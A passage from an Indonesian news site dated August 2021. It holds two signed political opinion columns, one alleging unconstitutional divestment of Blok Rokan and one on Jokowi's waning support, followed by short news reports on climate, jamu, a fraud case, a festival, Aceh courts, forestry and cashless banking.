minimal sekitar 12,5% dari nilai cadangan (Earst & Young, 2012). Karena itu, dengan cadangan sekitar 2 miliar barel, maka biaya akuisisi 100% cadangan Rokan minimal adalah 12,5% x 2 miliar barel x US$ 66/barel = US$ 1,65 miliar. Karena adanya operasi secondary (injeksi air/gas) maupun tertiary recovery (gas/CO2 atau zat kimia), diasumsikan adanya discount biaya sekitar 10%. Dengan demikian biaya minimal akusisi 100% saham Rokan adalah US$ 1,48 miliar. Pertamina telah membayar signature bonus (SB) sebesar US$ 784 juta kepada Pemerintah RI pada Desember 2018. Tanpa memperhitungkan nilai SB yang telah dibayar Pertamina, maka mitra usaha PHR yang akan mengakuisisi 39% aset cadangan minyak Blok Rokan minimal harus membayar biaya 39% x US$ 1,48 miliar = US$ 579 juta. Jika SB diperhitungkan, biaya akuisisi minimal yang harus dibayar US$ 579 juta + 39% x US$ 784 juta = US$ 884,76 juta. Terlepas divestasi PI Blok Rokan melanggar konstitusi – sehingga harus digugat dan ditolak – maka mitra PHR yang akan mengakuisisi 39% PI saham Rokan harus membayar minimal US$ 579 juta (tanpa memperhitngkan SB) atau US$ 884 juta (jika memperhitungkan SB). Jika tidak, atau membayar jauh lebih rendah, maka patut diduga terjadi korupsi/KKN yang mengakibatkan negara dirugikan puluhan triliun rupiah. Pelanggaran UU Migas & Konstitusi Kementerian ESDM telah menetapkan Pertamina wajib memiliki partner di Blok Rokan seperti tertuang dalam Kemen ESDM No.1923K/10/2018. Pada diktum kelima disebutkan Pertamina wajib mempertahankan, bahkan meningkatkan produksi migas dan wajib bekerja sama dengan mitra yang memiliki kemampuan di bidang hulu migas sesuai kelaziman bisnis. Diktum Kepmen ESDM ini jelas mewajibkan Pertamina mendivestasi sahamnya di PHR. Dirut PHR Jaffee mengatakan pencarian mitra masih terus dilakukan oleh subholding hulu Pertamina (22/7/2021). Wakil Kepala SKK Migas Fatar Y.A mengungkap proses pencarian mitra bersifat business to business, dan SKK tidak intervensi (22/7/2021). Corporate Secretary Subholding Upstream Pertamina Whisnu B. mengatakan Pertamina mencari mitra yang punya kemampuan modal dan teknologi. Hasil pencarian akan disampaikan kepada Menteri ESDM (22/7/21). Sampai akhir acara seremoni pengalihan Blok Rokan pada tengah malam 8 Agustus 2021, Pemerintah atau Pertamina belum juga mengumumkan siapa mitra PHR di Blok Rokan (akan mengakuisisi 39% saham). Sebelum terlambat, proses pencarian tersebut harus segera dihentikan, karena Kepmen No.1923K/2018 bukanlah dasar hukum yang dapat dijadikan oleh Pertamina/Subholding PHE mendivestasi saham PHR, seperti diurai berikut. Pertama, Menteri ESDM tidak memiliki wewenang legal untuk mewajibkan Pertamina mendivestasi saham. Tidak ada satu pasal atau ketentuan pun dalam UU No.22/2001 tentang Migas maupun PP No.35/2004 tentang Hulu Migas yang memberi wewenang kepada Menteri ESDM memaksa BUMN/Pertamina menjual saham (PI). * Kedua, Pertamina memiliki hak konstitusional untuk mengelola Blok Rokan secara penuh 100% sesuai Pasal 33 UUD 1945. Ketiga, ketentuan dalam Kepmen tidak boleh bertentangan dengan peraturan di atasnya. Menurut tata urutan peraturan perundang-undangan (UU P3 No.12/2011), posisi Kepmen jauh di bawah UU, apalagi terhadap UUD 1945. Dengan demikian, kewajiban divestasi sesuai Kepmen No.1923K/2018 batal demi hukum. Keempat, karena Kepmen ESDM No.1923/2018 tidak valid, maka PHE tidak legal melanjutkan proses divestasi yang sedang berlangsung. Kelima, divestasi saham PHR menyangkut transaksi aset negara yang potensi nilainya Rp 1.848 triliun. Nilai aset ini sangat besar untuk diputuskan oleh manajemen sebuah BUMN. Apalagi hanya oleh subholding di BUMN! Proses penawaran dan undangan kepada kepada calon mitra tidak jelas untuk tidak mengatakan tertutup. Hal ini jelas sarat moral hazard! Untuk penjualan saham-saham BUMN yang bernilai puluhan atau ratusan triliun rupiah saja, pemerintah harus mendapat izin DPR. Bagaimana bisa, divestasi saham Blok Rokan menyangkut aset ribuan triliun, pemerintah yang diyakini berada di bawah intervensi oligarki, mengakali DPR dan publik? Pada tulisan pertama diungkap tentang Dirut PHR yang berasal dari SKK Migas, bukan dari Pertamina sebagai pemegang 100% saham. Ternyata Dirut Subholding Upstream Pertamina (PHE) pun berasal dari “luar Pertamina”. Silakan publik berspekulasi terhadap kebijakan bernuansa konspiratif ini. Juga terhadap “penyembunyian” proses divestasi saham PHR melalui subholding PHE yang luput dari pantauan publik. Hal ini merupakan proses bernuansa oligarkis sarat moral hazard guna meraih sebagian potensi untung Rp 242 triliun! Pelanggaran UU BUMN & Konstitusi Menurut Pasal 33 UUD 1945 Pertamina adalah BUMN yang mendapat mandat negara memenuhi hajat hidup rakyat mengelola sumber daya alam (SDA) migas, bagi sebesar-besar kemakmuran rakyat. Ada 3 aspek penting Pasal 33 UUD 1945 yaitu: 1) pemenuhan hajat hidup publik, 2) pengelolaan SDA, dan 3) pencapaian target sebesar-besar kemakmuran rakyat. Dominasi BUMN mengelola SDA di atas telah diperkuat Mahkamah Konstitusi (MK) melalui Putusan No.36/2012 dan No.85/2013. Pada prinsipnya MK menyatakan penguasaan negara terhadap SDA dijalankan oleh Pemerintah dan DPR dalam pembuatan kebijakan, pengurusan, pengaturan dan pengawasan yang berada di tangan Pemerintah dan DPR. Sedangkan penguasaan negara dalam pengelolaan SDA berada di tangan BUMN. Amanat Pasal 33 UUD 1945 di atas diimplementasikan dalam peraturan operasional yang termuat dalam UU BUMN No.19/2003 dan Peraturan Pemerintah (PP) No.35/2004. Pasal 77 huruf (c) dan (d) UU BUMN No.19/2003 menyatakan: Persero tidak dapat diprivatisasi karena: (c), oleh pemerintah ditugasi melaksanakan kegiatan berkaitan dengan kepentingan masyarakat; dan (d), bergerak di bidang SDA yang diatur UU tidak boleh diprivatisasi. Sedangkan Pasal 28 ayat (9) dan (10) PP Hulu Migas No.35/2004 berbunyi sbb: (9) Pertamina dapat mengajukan permohonan kepada Menteri mengelola Wilayah Kerja habis Kontrak; dan (10) Menteri dapat menyetujui permohonan dimaksud, dengan menilai kemampuan teknis dan keuangan, sepanjang saham Pertamina 100% dimiliki Negara. Gabungan ketentuan Pasal 77 UU BUMN No.19/2003 dan ketentuan Pasal 28 ayat 9 & 10 PP No.35/2004 menyatakan, sepanjang menyangkut hajat hidup orang banyak dan pengelolaan SDA, maka pelaksananya hanyalah BUMN. Hak istimewa pengelolaan SDA diberikan negara kepada BUMN hanya karena saham pemerintah di BUMN masih utuh 100%. Jika saham pemerintah di BUMN kurang dari 100%, maka privilege otomatis hilang. Pertamina memperoleh hak mengelola Blok Rokan karena 100% sahamnya masih dikuasai negara. Jika kurang dari 100%, jangankan anak usaha atau subholdingnya, Pertamina sebagai BUMN induk pun tidak eligible memperoleh previlige tersebut. Tujuannya adalah agar manfaat terbesar Blok Rokan dapat dinikmati bagi sebesar-besar kemakmuran rakyat. Rekayasa kebijakan yang berlangsung adalah, guna meraih hak, Pertamina diajukan sebagai badan usaha pengelola. Setelah hak diperoleh, dalam waktu singkat Pemerintah memaksa Pertamina mendivestasi sebagian saham melalui penjualan PI oleh subholding (PHE). Akibatnya, dengan modus divestasi seperti ini manfaat bagi sebesar-besar kemakmuran rakyat gagal diraih. Namun di sisi lain, sebagian keuntungan justru akan dinikmati oleh mitra usaha yang merupakan bagian dari oligarki kekuasaan. Sebenarnya konstitusi dan peraturan yang ada sudah cukup memadai guna mengamankan kepentingan rakyat. Namun karena lebih memihak kepentingan oligarki, menurut hemat IRESS, pemerintah justru terlibat rekayasa dengan membuat kebijakan dan aturan akal-akalan guna melancarkan proses divestasi PI Blok Rokan. Jika saham/PI PHR tetap didivestasi, maka terjadi rekayasa aturan manipulatif yang berujung pada kerugian negara dan rakyat. Kesimpulan Kepmen ESDM No.1923K/2018 yang mewajibkan Pertamina/PHR mendivestasi saham Blok Rokan jelas melanggar PP No.35/2004, UU No.22/2001, UU No.19/2003 dan Pasal 33 UUD 1945. Kepmen tersebut jelas merupakan aturan yang manipulatif dan konspiratif, serta sarat kepentingan oligarki pemburu rente, yang dapat merugikan negara puluhan hingga ratusan triliun. Kita tidak paham apakah Presiden Jokowi telah memperoleh informasi yang lengkap tentang hal ini. Namun apa pun itu, jika proses divestasi berlanjut, apalagi tanpa membayar biaya akuisisi cadangan minyak minimal yang berlaku umum dan sharing signature bonus, maka Presiden Jokowi dianggap telah melanggar konstitusi dan menjadi subjek yang layak diproses sesuai Pasal 7 UUD 1945, untuk segera dimakzulkan! [ Penulis Direktur Eksekutif IRESS.

Arus Balik Politik

By M Rizal Fadillah ADA fenomena menarik di beberapa hari belakangan ini. Sikap kritis Puan Maharani terhadap kebijakan politik Jokowi cukup membingungkan. Petinggi partai pendukung Pemerintah ini bersuara agak keras. Ada dua dugaan kuat penyebabnya. Pertama, sikap kurang bersahabat Jokowi atas kader PDIP yang diproses hukum seperti Juliari Batubara. Kedua, dukungan politik Jokowi kepada Ganjar Pranowo pesaing Puan di PDIP. Di samping itu semangat Jokowi untuk memperpanjang masa jabatan tiga periode menjadi ganjalan PDIP yang ingin memunculkan kader untuk manggung di tahun 2024. Lalu pilihan keakraban Jokowi dengan Partai Golkar yang membuat PDIP kesal. Ketum Golkar Airlangga menjadi salah satu Koordinator penanggulangan pandemi covid 19. Ditambah dengan Luhut Panjaitan yang terkesan sukses merebut kendali PDIP atas diri Jokowi. Perenggangan jarak politik PDIP dengan Jokowi tidak bisa dianggap biasa. Bila jarak semakin jauh bukan mustahil Jokowi jatuh. PDIP bisa memulai langkah dengan menarik Menteri-Menteri dari Kabinet Jokowi. Orang masih ragu tetapi politik adalah kumpulan dari peristiwa perubahan baik dekat maupun jauh. Dan hubungan politik itu ditentukan atas dasar kepentingan dan kalkulasi dari partai politik itu sendiri. Serangan politikus PDIP Effendi Simbolon dan Masinton Pasaribu kepada kabinet Jokowi dan secara khusus terhadap kinerja Luhut Panjaitan adalah "warming up" dari munculnya gejala politik baru di sekitar Istana. Yang menjadi masalah utama sebenarnya adalah akibat dari tingkat kepercayaan rakyat kepada Jokowi yang terus merosot. Hampir tidak ada kebijakan yang mendapat dukungan publik. Apalagi dalam kaitan penanganan pandemi Covid 19. PPKM yang diperpanjang secara eceran sebagai gambaran dari ketidakmatangan dan kebohongan berulang Pemerintah. Buzzer ikut membuka peta pertarungan. Ada perang proxy antara kubu Teuku Umar dengan Istana. Tagar "NKRI bukan milik PDIP" adalah serangan kepada kubu Megawati, sedangan tagar "Daya rusak Jokowi luar biasa " diduga serangan balik buzzer Teuku Umar. Netizen pun ikut meramaikan. Lalu Twitter men-deactive bahkan men-suspend akun buzzer Denny Siregar, Chusnul, Eko Kuntadhi, dan Ade Armando. Kerusakan demokrasi, hukum, dan penanganan pandemi sudah sangat parah. Istana sulit mengkonsolidasikan pasukan yang berjalan sendiri dan cari aman demi kepentingan politiknya. Usia kekuasaan Jokowi nampaknya semakin pendek bahkan sudah sesak nafas dan membutuhkan oksigen. Memang belum sampai menggunakan ventilator, namun arahnya semakin jelas. Kelompok pentalqin harus sudah bersiap-siap. Cebong peliharaan Jokowi di kolam Istana yang dimakan biawak adalah pertanda bakal berantakannya cebong-cebong pendukung. Luhut pengendali Jokowi bakal menjadi musuh bersama. Ia sedang memegang komando penanganan pandemi. Teranyar ditunjuk menjadi Ketua Dewan Pengarah Penyelamatan Danau Prioritas berdasar Peraturan Presiden No 60 tahun 2021. Dari samudra yang luas, danau, hingga virus berada di bawah genggamannya. Arus awal adalah kompaknya Istana baik koalisi partai maupun koalisi buzzer dalam menghadapi oposisi maupun masyarakat kritis. Kini arus balik sedang terjadi. Jokowi dipusingkan oleh koalisi partai yang jalan sendiri dan buzzer yang bertengkar serta memojokkan dirinya. RRC sebagai back up kekuatan global Pemerintahan Jokowi gelisah berhadapan dengan AS yang terus merangsek ke basis-basis strategis penentu perubahan. Oposisi dan masyarakat kritis mendapat momentum untuk memperkuat arus balik politik yang terjadi tersebut. Arus ini akan terus menguat. Pembangkangan dapat mengisi banyak sektor yang melibatkan berbagai elemen. Tindakan represif menjadi jalan saja untuk mempercepat perubahan. Arus balik politik sulit untuk dihalangi. *) Pemerhati Politik dan Kebangsaan

Laporan PBB Sebut Tidak Ada yang Aman dari Efek Pemanasan Global

Barcelona, FNN - Sebuah laporan ilmiah utama Perserikatan Bangsa-Bangsa (PBB) menunjukkan, tidak ada yang aman dari efek percepatan perubahan iklim. Terdapat kebutuhan mendesak mempersiapkan dan melindungi orang-orang ketika cuaca ekstrem dan naiknya permukaan laut menghantam lebih keras dari yang diperkirakan. Laporan dari Panel Antar-Pemerintah untuk Perubahan Iklim (IPCC), dikeluarkan Senin (9/8) dan ditulis oleh 234 ilmuwan. Laporan itu menyebutkan, pemanasan global sebesar sekitar 1,1 derajat Celcius telah membawa banyak perubahan di berbagai kawasan. Mulai dari kekeringan dan badai yang lebih parah hingga naiknya permukaan laut. "Semua itu akan terus meningkat dengan pemanasan lebih jauh. Namun, belum terlambat untuk mengurangi emisi pemanasan iklim untuk menjaga kenaikan suhu ke tujuan yang disepakati secara internasional yakni “jauh di bawah” 2 derajat Celsius. Idealnya 1,5 derajat Celsius - yang akan membantu menghentikan atau memperlambat beberapa dampak," kata laporan tersebut. Sebagaimana dikutip dari Antara, Rabu (11/8/2021}, para pejabat PBB mengatakan, IPCC semakin membunyikan alarm dalam laporan regulernya selama tiga dekade terakhir. Akan tetapi, hal itu tidak mendorong adanya tanggapan kebijakan yang memadai. “Dunia mendengar, tetapi tidak mendengarkan. Dunia mendengar, tetapi tidak bertindak cukup kuat- dan akibatnya, perubahan iklim adalah masalah yang ada di sini sekarang,” kata Inger Andersen, Direktur Eksekutif Program Lingkungan PBB. “Tidak ada yang aman. Hal tersebut semakin memburuk dengan cepat,” katanya pada para wartawan pada peluncuran laporan secara daring.Ketua IPCC, Hoesung Lee, mengatakan laporan itu memberikan pemahaman yang lebih baik tentang perubahan iklim dan bagaimana hal itu telah terjadi di seluruh dunia. "Ini memberi tahu kita, tidak dapat disangkal aktivitas manusia menyebabkan perubahan iklim dan membuat peristiwa cuaca ekstrem lebih sering dan parah," katanya, menggambarkannya sebagai "kotak peralatan yang berharga" bagi para negosiator pada pembicaraan iklim COP26 November. Semua bagian dunia terpengaruh. Laporan tersebut berisi informasi terinci tentang dampak berdasarkan wilayah, serta pengetahuan yang berkembang pesat tentang menghubungkan peristiwa cuaca ekstrem dengan perubahan iklim. Laporan itu juga menawarkan atlas interaktif yang memungkinkan orang untuk memeriksa perubahan iklim di tempat mereka tinggal. Petteri Taalas, Sekretaris Jenderal Organisasi Meteorologi Dunia (WMO), yang menjadi tuan rumah IPCC mengatakan, jika dikonfirmasi dan dilaksanakan, rencana pemerintah mengurangi emisi dapat membatasi pemanasan global hingga 2,1 derajat Celcius. Akan tetapi, tingkat kenaikan suhu itu masih akan membawa banyak masalah. Termasuk kekurangan pangan, panas yang ekstrem, kebakaran hutan, kenaikan permukaan laut, potensi "krisis pengungsi". Juga dampak negatif bagi ekonomi global dan keanekaragaman hayati. "Selain pengurangan emisi, "sangat penting untuk memperhatikan adaptasi iklim. Sebab, tren negatif dalam iklim akan berlanjut selama beberapa dekade dan dalam beberapa kasus selama ribuan tahun", kata Petteri Taalas dalam peluncuran laporan. Salah satu cara ampuh untuk beradaptasi, katanya, adalah berinvestasi dalam layanan peringatan dini untuk ancaman seperti kekeringan dan banjir. Akan tetapi, hanya setengah dari 195 negara anggota WMO yang saat ini memilikinya, memicu kerugian manusia dan ekonomi. "Terdapat juga kesenjangan parah dalam sistem meteorologi dan prakiraan cuaca di Afrika, sebagian Amerika Latin, Karibia, dan Pasifik," ujarnya. (MD)

Pengusaha: Industri Jamu Indonesia Hadapi Krisis Bahan Baku

Jakarta, FNN - Seorang pengusaha mengemukakan industri jamu di Indonesia saat ini menghadapi krisis bahan baku, akibat banyak petani yang lebih memilih menanam kopi atau teh, sebagai komoditi untuk diperdagangkan. “Para petani rempah sebagai penyedia bahan baku dari jamu itu cenderung lebih memilih menanam kopi dan teh. Jika ini berlanjut, jangan sampai rempah kita malah dibudidayakan oleh negara tetangga kita,” kata pendiri Acaraki Jamu Jony Yuwono, dalam acara “Telusur Jalur Rempah: Melihat Pengaruhnya pada Kuliner Nusantara” secara daring yang dipantau di Jakarta, Selasa (10/8). Jony mengungkapkan alasan banyaknya petani lebih memilih menanam kopi atau teh adalah karena permintaan atau penjualannya lebih konsisten dibandingkan rempah-rempah. “Rempah-rempah permintaannya tidak konsisten dan tidak ada bagian penting. Kalau misalnya, industri kopi dan teh ada sortir, kualitas bagus jelek atau bagaimana, sedangkan untuk rempah biasanya digabung saja, tidak disortir mana yg kualitas bagus, sedang atau bawah, sehingga ketika digabung, harga jualnya jadi pukul rata,” kata dia, menjelaskan mengapa harga rempah-rempah lebih murah. Berdasarkan data Riset Tanaman Obat dan Jamu di Indonesia (Ristoja) milik Kementerian Kesehatan tahun 2012, Jony mengatakan telah dilakukan 209 survei dari 1.068 suku yang ada di Indonesia dan tercatat 15.773 resep jamu berasal dari 1.740 spesies tanaman yang berbeda. “Jadi artinya 30.000 tanaman obat di Indonesia adalah data base sumber obat atau sumber kesehatan untuk mencegah penyakit masa depan. Jadi tugas kita adalah untuk melestarikan,” ucap dia. Ia menegaskan generasi saat ini harus ikut berpartisipasi untuk terus melestarikan jamu agar resep dari jamu-jamu yang telah menjadi obat turun temurun tidak menghilang. Jony mengungkapkan data Ristoja pada Tahun 2015 menyatakan 49,5 persen dari pelaku pengobatan tradisional yang meresepkan jamu-jamu tersebut itu sudah berumur 60 tahun ke atas dan hanya sepertiga yang memiliki murid. “Ketika pensiun, siapa yang akan mengolah? Jika tidak ada yang mengolah, bagaimana dengan resep jamu tersebut? Kalau resep itu hilang, bagaimana dengan budi daya terhadap tanaman-tanaman tersebut?” ujar dia, saat memberi gambaran apa yang akan terjadi jika resep-resep jamu tersebut hilang. Pakar kuliner William Wongso yang hadir dalam acara tersebut ikut menegaskan sudah saatnya Indonesia untuk lebih memperkenalkan rempah-rempah yang dimiliki melalui berbagai sektor. “Sudah saatnya kita perlu mengenalkan rempah melalui prosedur, proses edukatif dari SMK, akademisi pariwisata, juru masak profesional. Bukan lagi cuma meminta lada atau pala. Harus tahu lada terbaik berasal dari mana, pala yang terbaik dari mana. Hal-hal ini kita harus kenal,” katanya. Ia mengungkapkan Indonesia telah menjadi negara penghasil rempah yang sudah dikenal di berbagai negara dunia sejak zaman dahulu, hingga mendapatkan julukan negara Spices Island. William juga mengatakan, rempah-rempah yang menjadi bagian dari bumbu adalah sebuah keunikan Indonesia yang menjadi bagian dari budaya kuliner dan cerminan kearifan lokal yang berbeda antara satu pulau dengan pulau lainnya. “Mereka harus diperkenalkan oleh rempah gitu. Rempah-rempah ini komposisi dalam kandungan bumbu harus diperkenalkan dari daerah lain. Harus saling memperkenalkan daerah bumbu dari satu daerah ke daerah lain,” kata dia. (mth)

Polres Rejang Lebong Kembangkan Pengusutan Kasus Investasi Bodong

Rejang Lebong, Bengkulu, FNN - Penyidik Polres Rejang Lebong, Provinsi Bengkulu, tengah mengembangkan pengusutan kasus investasi bodong yang merugikan ratusan warga daerah itu, hingga mencapai Rp850 juta. Kasat Reskrim Polres Rejang Lebong AKP Rahmat Hadi Fitrianto didampingi Kanit Tindak Pidana Tertentu (Tipidter) Ipda Ibnu Sina Alfarobi di Mapolres Rejang Lebong, Selasa mengatakan dua tersangka terkait investasi bodong yang diamankan pihaknya pada Jumat (6/8) adalahYN (19), warga Kecamatan Curup, serta VA (20), warga Kecamatan Curup Tengah. "Saat ini kasusnya masih dalam pengembangan guna mengetahui masih ada tidaknya jaringan mereka serta kemungkinan korban lainnya," kata Rahmat Hadi. Dia menjelaskan, pengembangan kasus yang dilakukan pihaknya itu dengan melakukan pemeriksaan lanjutan terhadap tersangka, sejumlah saksi-saksi korban serta pihak perbankan guna menelusuri aliran dana itu kemana saja. Uang yang dihimpun kedua tersangka ini, kata dia, mencapai Rp861 juta dengan jumlah korbannya sebanyak 135 orang. Uang itu disimpan dalam empat rekening bank, yakni BCA, BRI, BNI dan Mandiri. "Setelah kami telusuri saldo empat rekening bank ini sudah kosong. Dana nasabah ini, selain untuk membayar investasi yang sudah jatuh tempo, juga dipakai untuk membeli barang-barang elektronik, seperti HP, jalan-jalan dan perhiasan," ujarnya. Menurut dia, berdasarkan pemeriksaan yang dilakukan penyidik terhadap YN yang berstatus pengangguran dan VA (mahasiswi salah satu PTN di Kota Curup) ini, mereka hanya memutar dana yang disetorkan nasabahnya kepada nasabah lainnya dan hanya mengambil keuntungan dari biaya administrasi. "Modusnya tersangka ini mengumpulkan uang nasabah dan kemudian memutarnya kembali dari nasabah ke nasabah lainnya. Para nasabah ini dijanjikan keuntungan sebesar 35 persen dari nilai uang yang disetor, misalnya Rp1 juta menjadi Rp1.350.000 dalam 10 hari," ucapnya. Sementara itu, tersangka YN, di hadapan wartawan mengaku investasi itu telah dilakukannya sejak Januari 2021, di mana awalnya mengajak calon korbannya untuk berinvestasi yang mereka namakan arisan dengan keuntungan yang dijanjikan mencapai 35 persen dari besaran dana yang disetorkan. "Kalau setoran Rp1 juta itu kami mengembalikannya Rp1,5 juta dalam 10 hari, kemudian dipotong biaya administrasi Rp150 ribu, namun setelah itu kami tidak dapat uang admin lagi. Jadi kalau ada yang jatuh tempo, kami pakai duit investasi orang lain," kata YN. Kedua tersangka itu sendiri oleh penyidik Tipidter Polres Rejang Lebong dijerat atas pelanggaran pasal 46 ayat (1) juncto pasal 16 dan 17 UU No.10/1998, tentang perubahan atas UU No.7/1992, tentang Perbankan dengan ancaman pidana 15 tahun penjara. (mth)

Pemkab Majene Gelar Festival Lestarikan Tarian dan Nyanyian Mandar

Mamuju, FNN - Pemerintah Kabupaten Majene menggelar "Festival Kota Tua Majene" untuk melestarika tarian tradisional dan nyanyian Suku Mandar di Provinsi Sulawesi Barat (Sulbar). Wakil Bupati Majene Aris Munandar di Majene, Selasa mengatakan wilayahnya merupakan kota tua di Sulbar yang dikenal dengan ragam budayanya yang terus dijaga dan dilestarikan sampai saat ini. "Budaya di Kabupaten Majene berupa tarian maupun nyanyian terus dijaga sampai saat ini. Pemerintah dan masyarakat Majene berusaha untuk melestarikannya," katanya. Menurut dia, budayawan, seniman, serta generasi muda yang ada di Kabupaten Majene terus dijaga untuk dapat melestarikan budaya leluhur itu. Ia menyampaikan, Festival Kota Tua Majene menjadi festival unggulan dari ajang festival budaya daerah di Tahun 2021 ini yang mendapatkan dukungan dari Menteri Pariwisata dan Ekonomi Kreatif RI Sandiaga Salahuddin Uno, dengan harapan kebudayaan Majene terus dilestarikan. Selain itu, kata dia, festival ini juga merupakan kegiatan budaya yang masuk dalam kalender Nusantara. Gubernur Sulbar Ali Baal Masdar mengatakan Majene sebagai salah satu daerah yang sejak awal didesain oleh pemerintah Belanda sebagai Pusat Afdeling Mandar, sehingga menyebut Majene sebagai kota tua sangat tepat. Ia menyambut baik dan memberikan apresiasi pada Pemerintah Kabupaten Majene melestarikan budaya peninggalan masa lalu untuk pencerahan bagi masyarakat dalam menjalani keadaan masa kini dan masa yang akan datang. "Keanekaragaman budaya yang memiliki nilai sejarah, sebagai salah satu potensi yang perlu dikembangkan di Sulbar, mulai masa kerajaan sampai pemerintahan Belanda yang terdapat di wilayah Majene," ujarnya. Ia berharap, Majene sebagai objek wisata sejarah dan tempat belajar budaya Mandar karena Majene merupakan pusat kota pendidikan di Sulbar. (mth)

Selama Pandemi Mahkamah Syar'iyah Aceh Terima 268 Perkara Jinayat

Banda Aceh, FNN - Mahkamah Agung (MA) mencatat selama pandemi Covid-19 Mahkamah Syar'iyah (MS) di Aceh telah menerima dan menyidangkan sebanyak 268 perkara jinayat (tindak pidana dalam ajaran Islam) "Sepanjang 2020 Mahkamah Syar'iyah di seluruh Aceh telah menerima 268 perkara jinayat. Meningkat 3,47 persen dari tahun 2019 sebanyak 229 perkara," kata Ketua Mahkamah Agung, M. Syarifuddin secara virtual, di Banda Aceh, Selasa, 10 Agustus 2021. Pernyataan itu disampaikan Syarifuddin melalui pidatonya saat membuka kegiatan seminar internasional dalam rangka Milad ke-19 Mahkamah Syar'iyah. Syarifuddin mengatakan, sejak dikeluarkan UU Nomor 18 Tahun 2001 tentang Otonomi Khusus Aceh, eksistensi Mahkamah Syar'iyah Aceh juga memasuki babak baru. Pelimpahan kewenangan perkara jinayat telah dilaksanakan secara optimal. Terbukti, kata Syarifuddin, hasilnya cukup menggembirakan. Hal itu bisa terlihat dari keseluruhan perkara jinayat yang ditangani, rasio tingkat produktivitas dalam memutuskan perkaranya mencapai angka 96,42 persen. "Bahkan, dengan ketetapan waktu memutus perkara 100 persen, yakni diputus dalam tenggat waktu paling lama lima bulan sebagaimana ketentuan Mahkamah Agung Nomor 2 tahun 2014," ujarnya, sebagaimana dikutip dari Antara. Selain itu, kata Syarifuddin, dari keseluruhan perkara yang sudah diputuskan Mahkamah Syar'iyah di Aceh itu semuanya telah berkekuatan hukum tetap, serta tidak ada upaya pada tahapan pengajuan peninjauan kembali. "Saya berharap semoga kinerja positif Mahkamah Syar'iyah di Aceh tetap dipertahankan, atau ditingkatkan pada masa-masa yang akan datang," katanya. Syarifuddin menuturkan, masyarakat Aceh terus memantau dan memperhatikan proses peradilan di Mahkamah Syar'iyah. Terlebih di era keterbukaan informasi, maka keadaan seperti itu tentunya menjadi pekerjaan rumah. Terhadap perkembangan itu, Mahkamah Agung akan terus berusaha meningkatkan fungsi pembinaan dan pengawasan bagi badan peradilan yang ada di bawahnya, termasuk Mahkamah Syar'iyah. Karena, ujarnya, pemanfaatan teknologi informasi di lembaga peradilan adalah harga mati yang tidak dapat ditawar. Artinya, tidak boleh mundur atau mempertahankan cara kerja profesional yang kurang efektif maupun efisien. "Momentum peringatan Milad Mahkamah Syar'iyah yang bertepatan dengan Tahun Baru Hijriah 1443 ini harus dimaknai, kita berani hijrah, berbuat yang lebih baik dari tahun-tahun sebelumnya," katanya. (MD).

Perhutani Berikan Benih Porang-Kayu Putih ke Pesantren Al Munir Situbondo

Surabaya, FNN - Perhutani Probolinggo memberikan bantuan benih tanaman porang dan bibit pohon kayu putih ke Pondok Pesantren (Ponpes) Al Munir, Desa Kalianget, Kecamatan Banyuglugur, Kabupaten Situbondo, Jawa Timur, Selasa, 20 Agustus 2021. Bantuan yang diberikan yaitu benih tanaman porang sebanyak 1.500 biji dan bibit pohon kayu putih sebanyak 1.500 plances. Penyerahannya dilakukan oleh Administratur Perhutani Probolinggo Ida Jatiyana kepada KH. Achmad Muzayyin. Menurut Kyai Zhein panggilan akrab KH. Achmad Muzayyin, benih porang tersebut akan ditanam dan tangkarkan terlebih dahulu di lahan milik pondok seluas satu hektare. "Jika nanti tanaman porangnya berkembang, akan ditanam juga pada lahan Perhutani dengan pola kemitraan kehutanan untuk pemberdayaan masyarakat sekitar hutan," katanya dalam keterangan tertulis yang diterima Antara, di Surabaya. Ia mengatakan, kolaborasi antara ponpes dengan Perhutani ini diharapkan dapat menurunkan permasalahan pengelolaan hutan yang terjadi di wilayah Situbondo yang sebagian besar masyarakatnya masih berinterkasi di dalam kawasan hutan. Menurut Kyai Zhein, pengelolaan hutan tidak terlepas dari interaksi masyarakat sekitarnya. Dengan perbandingan rasio sumberdaya manusia Perhutani dengan keluasan hutan yang dikelolanya sangat tidak masuk akal. "Apalagi hutan itu tidak dipagari sehingga dalam pengelolaannya selalu bersinggungan dengan masyarakat. Untuk itu diperlukan kerja sama yang berkesinambungan antara masyarakat dengan Perhutani yang saat ini mulai melibatkan pondok pesantren," kata Kyai Zhein. Sementara itu Administratur Perhutani Probolinggo Ida Jatiyana berharap kerjasama dan kolaborasi dengan pondok pesantren tersebut akan memberikan nilai positif. Diharapkan bisa menurunkan permasalahan yang terjadi dalam pengelolaan hutan khususnya di Situbondo, sehingga angka kerusakan hutan di wilayah tersebut dapat diminimalisir. "Potensi kawasan hutan yang bisa ditanami porang dan kayu putih ada lahan seluas 500 hektare pada ketinggian antara 200 - 700 Mdpl di wilayah administratif Kabupaten Situbondo yang masuk dalam pengelolaan hutan Perhutani KPH Probolinggo," ujarnya. Dia juga menyatakan siap berkoordinasi dengan Perhutani Bondowoso dan Banyuwangi Utara yang sebagian kawasan hutannya berada di wilayah administratif Kabupaten Situbondo terkait potensi yang bisa dikembangkan. "Dalam waktu dekat akan ada pertemuan tindak lanjut antara Perhutani Probolinggo, Bondowoso dan Banyuwangi Utara serta Ponpes Al Munir selaku penggerak masyarakat sekitar hutan," ucapnya. (MD).

Bank Mandiri Terus Dorong Transaksi Nontunai di Tengah COVID-19

Jakarta, FNN - Senior Vice President Transaction Banking Retail Sale Bank Mandiri Thomas Wahyudi mengatakan pihaknya terus mendorong transaksi nontunai, salah satunya dengan turut dalam Gerakan Indonesia Pasti Bisa. Dalam kolaborasi tersebut, Bank Mandiri memungkinkan pelanggan membeli makanan secara online di DigiResto yang kemudian dapat dibayar dengan kartu debit atau kredit Bank Mandiri. "Kami melihat banyak usaha yang terbatas usahanya, jam bukanya, karena pemberlakuan pembatasan kegiatan masyarakat (PPKM). Karena itu, transaksi kita coba alihkan ke digital," kata Thomas dalam konferensi pers virtual usai peresmian kolaborasi untuk membantu Gerakan Indonesia Pasti Bisa di Jakarta, Selasa. Ia berharap dengan kolaborasi ini nasabah Mandiri tetap bisa memesan makanan di restoran-restoran favorit meskipun tengah melakukan isolasi mandiri (isoman). Transaksi pun bisa dilakukan secara cashless untuk menghindari penyebaran COVID-19. "Ini beberapa terobosan juga supaya teman-teman pelaku usaha restoran bisa bertahan di tengah pandemi COVID-19," kata Thomas. Bank Mandiri juga terus mendukung Gerakan Nasional Nontunai (GNNT) Bank Indonesia dengan mendorong cashless society. Diharapkan dukungan ini juga berdampak terhadap penurunan kasus 